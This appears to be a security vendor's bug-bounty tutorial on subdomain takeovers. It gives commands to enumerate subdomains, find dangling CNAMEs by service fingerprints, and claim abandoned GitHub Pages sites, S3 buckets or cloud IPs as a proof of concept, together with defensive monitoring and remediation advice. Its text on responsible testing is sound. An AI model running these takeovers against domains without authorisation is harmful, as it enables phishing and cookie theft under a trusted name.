Subdomain takeovers are one of the most reliably reproducible high-severity vulnerabilities in bug bounty programs. When a CNAME record points to an unclaimed service, any attacker can register that service and serve malicious content under your trusted domain — stealing cookies, performing phishing, and bypassing CORS restrictions.
A subdomain takeover occurs when: (1) legacy.company.com has a CNAME pointing to company.azurewebsites.net, (2) the Azure Web App is deleted/deprovisioned, leaving the CNAME "dangling", (3) an attacker registers a new Azure Web App with the same hostname, (4) the attacker now controls content served at legacy.company.com.
.company.com are sent to the attacker's controlled content*.company.com will trust the attacker's subdomain# Passive enumeration
subfinder -d target.com -silent -all -o passive_subs.txt
# Active brute force
amass enum -active -d target.com -o active_subs.txt
# Certificate transparency
curl -s "https://crt.sh/?q=%.target.com&output=json" | \
jq -r '.[].name_value' | sort -u | tee ct_subs.txt
# Combine and deduplicate
cat passive_subs.txt active_subs.txt ct_subs.txt | \
sort -u > all_subs.txt
# Check which subdomains resolve
cat all_subs.txt | dnsx -silent -resp | tee resolved_subs.txt
# Find CNAMEs
cat all_subs.txt | dnsx -silent -cname -resp | tee cnames.txt
# Example output:
# legacy.target.com -> company.azurewebsites.net
# api-old.target.com -> company.github.io
# status.target.com -> company.statuspage.io
# Check if the CNAME target is unclaimed
dig +short legacy.target.com
# Returns: company.azurewebsites.net
# Check if that hostname responds
curl -v -H "Host: company.azurewebsites.net" \
https://company.azurewebsites.net 2>&1 | head -20
# Look for "takeover fingerprints":
# Azure: "404 Web Site not found"
# GitHub Pages: "There isn't a GitHub Pages site here"
# Heroku: "No such app"
# AWS S3: "NoSuchBucket"
# Fastly: "Fastly error: unknown domain"
# Nuclei has built-in subdomain takeover templates
nuclei -l all_subs.txt -t takeovers/ -silent
# Or use subjack
go install github.com/haccer/subjack@latest
subjack -w all_subs.txt -t 100 -timeout 30 \
-ssl -c ~/go/src/github.com/haccer/subjack/fingerprints.json \
-o takeover_results.txt
The can-i-take-over-xyz repository maintains fingerprints for 500+ services. Key services to check:
| Service | Fingerprint | Takeover? |
|---|---|---|
| GitHub Pages | "There isn't a GitHub Pages site here" | ✅ Yes |
| AWS S3 | "NoSuchBucket" | ✅ Yes (same region) |
| Azure Web Apps | "404 Web Site not found" | ✅ Yes |
| Heroku | "No such app" | ✅ Yes |
| Shopify | "Sorry, this shop is currently unavailable" | ✅ Yes |
| Fastly | "Fastly error: unknown domain" | ✅ Yes |
| Pantheon | "404 error unknown site" | ✅ Yes |
| Wordpress.com | "Do you want to register..." | ✅ Yes |
| Zendesk | "Help Center Closed" | ✅ Yes |
| Surge.sh | "project not found" | ✅ Yes |
A responsible PoC demonstrates impact WITHOUT: serving malicious content, capturing any real user cookies/sessions, impersonating the target, or causing any disruption. Your PoC page should clearly identify itself as a security research demonstration and contain no sensitive functionality.
# Step 1: Confirm dangling CNAME
dig +short blog-old.target.com
# Returns: targetcompany.github.io
# Step 2: Check fingerprint
curl -s https://blog-old.target.com | grep -i "github"
# Returns: "There isn't a GitHub Pages site here"
# Step 3: Create PoC repository
# Create GitHub repo: targetcompany.github.io (if available) or
# Create GitHub Pages with custom domain matching CNAME target
# Step 4: Add CNAME file in repo
echo "blog-old.target.com" > CNAME
# Step 5: Add responsible PoC page
cat > index.html << 'EOF'
<!-- SECURITY RESEARCH - SUBDOMAIN TAKEOVER PoC -->
<!-- This page is hosted by a security researcher -->
<!-- to demonstrate a subdomain takeover vulnerability -->
<!-- No malicious actions are being performed -->
<h1>Subdomain Takeover - Security Research PoC</h1>
<p>This subdomain (blog-old.target.com) is vulnerable to takeover.</p>
<p>Researcher: [your handle]</p>
<p>Reported: [date]</p>
EOF
# Confirm dangling CNAME
dig +short assets-legacy.target.com
# Returns: target-legacy-assets.s3.amazonaws.com
# Check response
curl -v https://assets-legacy.target.com 2>&1 | grep -i "NoSuchBucket"
# "The specified bucket does not exist" -> Vulnerable!
# Extract region from response headers or try:
# us-east-1 is default if no region header
# Create PoC bucket (SAME NAME as CNAME target)
aws s3 mb s3://target-legacy-assets --region us-east-1
# Enable static hosting
aws s3 website s3://target-legacy-assets \
--index-document index.html
# Upload responsible PoC
echo "<h1>Subdomain Takeover PoC - Security Research</h1>" | \
aws s3 cp - s3://target-legacy-assets/index.html \
--content-type text/html --acl public-read
# Demonstrate cookie access (ONLY with test account YOU control)
# Create a test account, set cookies, visit your PoC page
# Screenshot showing document.cookie contents
# This proves cookie theft scope
# Document with screenshots:
# 1. DNS lookup showing dangling CNAME
# 2. Fingerprint response (NoSuchBucket, etc.)
# 3. Your PoC page hosted at the subdomain
# 4. Browser showing the legitimate domain + your content
# 5. (Optional) Test cookie access from own test account
# Automate continuous subdomain monitoring
# Check all CNAMEs weekly for dangling status
#!/bin/bash
# monitor_dangling_cnames.sh
while IFS= read -r subdomain; do
cname=$(dig +short CNAME "$subdomain" | head -1)
if [ -n "$cname" ]; then
# Resolve the CNAME target
ip=$(dig +short "$cname" | tail -1)
if [ -z "$ip" ]; then
echo "DANGLING CNAME: $subdomain -> $cname"
# Send alert
fi
fi
done < subdomains.txt
Similar to CNAME takeovers, A records pointing to released Elastic IPs or Azure Public IPs can be taken over by the next customer who gets that IP. AWS Elastic IPs and Azure PIPs released to the pool can be reassigned to any customer's account.
# Check if A record points to a cloud IP that's unallocated
dig +short api-legacy.target.com
# Returns: 52.xxx.xxx.xxx
# Check if the IP belongs to AWS
curl https://ip-ranges.amazonaws.com/ip-ranges.json | \
python3 -c "import json,sys; \
[print(p['prefix'], p['region'], p['service']) \
for p in json.load(sys.stdin)['prefixes'] \
if '52.xxx.xxx' in p.get('ip_prefix','')]"
# If AWS IP, try to claim it by spinning up EC2 with that IP
# (Only do with explicit permission)
If a subdomain delegates nameservers to a zone that no longer exists (expired domain), an attacker can register that domain and control ALL DNS for the subdomain. This is rarer but results in complete subdomain control including email, HTTPS, and all subdomains of the delegated zone.
KENSAI's attack surface management continuously monitors your subdomains for dangling CNAMEs, deprovisioned services, and takeover risks before attackers find them.
Start Free Scan →Severity depends on the subdomain's function and trust level. A marketing subdomain with no cookies in scope might be Medium. A subdomain listed as an OAuth redirect URI, trusted by CORS policies, or receiving cookies scoped to the root domain is Critical. Always assess the actual attack paths available to an attacker who controls the subdomain.
This depends entirely on your bug bounty program's rules. Many programs allow PoC takeovers with a responsible disclosure page. Some explicitly prohibit it. When in doubt, provide the DNS evidence (dangling CNAME + fingerprint response) without taking over. Include a screenshot of what you would be able to do if you registered the service.
Subdomain takeovers should be treated as critical — the remediation is simple (delete the DNS record) and the risk of real attacker exploitation is high. Most programs expect same-day or next-day remediation for active subdomain takeovers.
Security is not optional.
🗡️ The KENSAI Team